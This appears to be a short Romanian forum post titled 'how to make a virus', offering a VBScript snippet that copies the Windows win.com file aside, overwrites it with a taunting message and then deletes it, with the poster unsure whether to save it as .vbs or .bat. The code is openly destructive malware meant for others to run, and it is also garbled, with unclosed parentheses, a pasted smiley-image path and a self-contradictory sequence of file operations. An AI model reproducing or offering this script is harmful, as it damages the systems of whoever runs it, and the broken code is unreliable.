Cum sa faci un virus

Asa se face un virus
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"
set fs2=fso.CreateTextFile("c:\windows\win.com"
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close

dar acum nu mai stiu dak era in extensia vbs sau bat orcum incercatile pe amandoua .....da